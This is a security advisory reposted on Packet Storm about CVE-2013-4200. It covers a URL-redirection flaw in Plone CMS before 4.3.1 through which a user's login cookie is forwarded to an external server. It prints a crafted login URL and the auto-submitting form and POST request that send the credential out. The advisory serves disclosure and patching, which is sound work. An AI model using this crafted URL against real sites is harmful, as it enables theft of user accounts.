what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Plone CMS Credential Disclosure

Plone CMS Credential Disclosure
Posted Jan 17, 2014
Authored by Cyrill Bannwart

Plone CMS suffers from a URL redirection credential disclosure vulnerability.

tags | exploit
advisories | CVE-2013-4200
SHA-256 | c8126f47351b05580931419b3561fe0a88c1f95cf8946c7dcd4656a6d3036dc7

Plone CMS Credential Disclosure

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product: Plone CMS
# Vendor: Plone Foundation (http://plone.org)
# ID(s): CSNC-2013-013, CVE-2013-4200
# Subject: URL Redirection Vulnerability
# Risk: High
# Effect: Remotely exploitable
# Author: Cyrill Bannwart <cyrill.bannwart@csnc.ch>
# Date: 20/05/2013
#
#############################################################


Introduction:
-------------
The discovered vulnerability targets the open source Plone CMS. The
credentials of a valid user can be obtained by using a specially
crafted URL which can be sent to the user by email. When clicking on
the URL, the user is presented with the website's login form and after
a successful login the user as well as his credentials are forwarded to
an external server. This vulnerability can be used by an attacker to
obtain access to a user's account.


Affected:
---------
Vulnerable:
* Plone < 4.3.1


Technical Description:
----------------------
An attacker can craft a URL for the login form where his victim has
valid credentials. The created URL contains a redirection URL to which
the user as well as his credentials are forwarded after a successful
login. This URL can be sent to the victim by mail.

By inserting a space before the redirection URL the isURLInPortal()
method of the URLTool class assumes the URL to be relative, not
filtering it against the allow_external_login_sites property.

Example of crafted URL:
https://example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch

Once the victim clicks on the URL and logs in, a self-submitting POST
form is loaded that sends the user and his credentials to the external
server.

Example excerpt of HTTP Response:
HTTP/1.1 200 OK
Set-Cookie: __ac="<CREDENTIALS>"; Path=/; HTTPOnly
[CUT]
<form method="post" id="external_login_form" name="external_login_form" action=" https://www.csnc.ch">
<input type="hidden" name="__ac" value="<CREDENTIALS>" />
</form>
<script type="text/javascript">
/*jslint browser: true */
var external_login_form = document.forms.external_login_form;
external_login_form.style.display = 'none';
external_login_form.submit();
</script>

And resulting HTTP POST Request:
POST / HTTP/1.1
Host: www.csnc.ch
Referer: https://www.example.com/login_form
[CUT]
__ac=<CREDENTIALS>

The obtained credentials / cookie content can be used by the attacker to
login to the website and gain access to the victim's account.

The login form allows further URL parameters such as the password reset
link or the sign up URL that can also be tricked into accepting
non-relative URLs.


Workaround / Fix / Patch:
-------------------------
Patch has been released by vendor


Timeline:
---------
2013-05-08: Vulnerability discovered
2013-05-20: Vendor notified
2013-05-21: Vendor acknowledged
2013-06-18: Patch released
2013-07-02: Patch updated
2014-01-16: Disclosure


References:
-----------
https://plone.org/products/plone/security/advisories/20130618-announcement
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4200
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close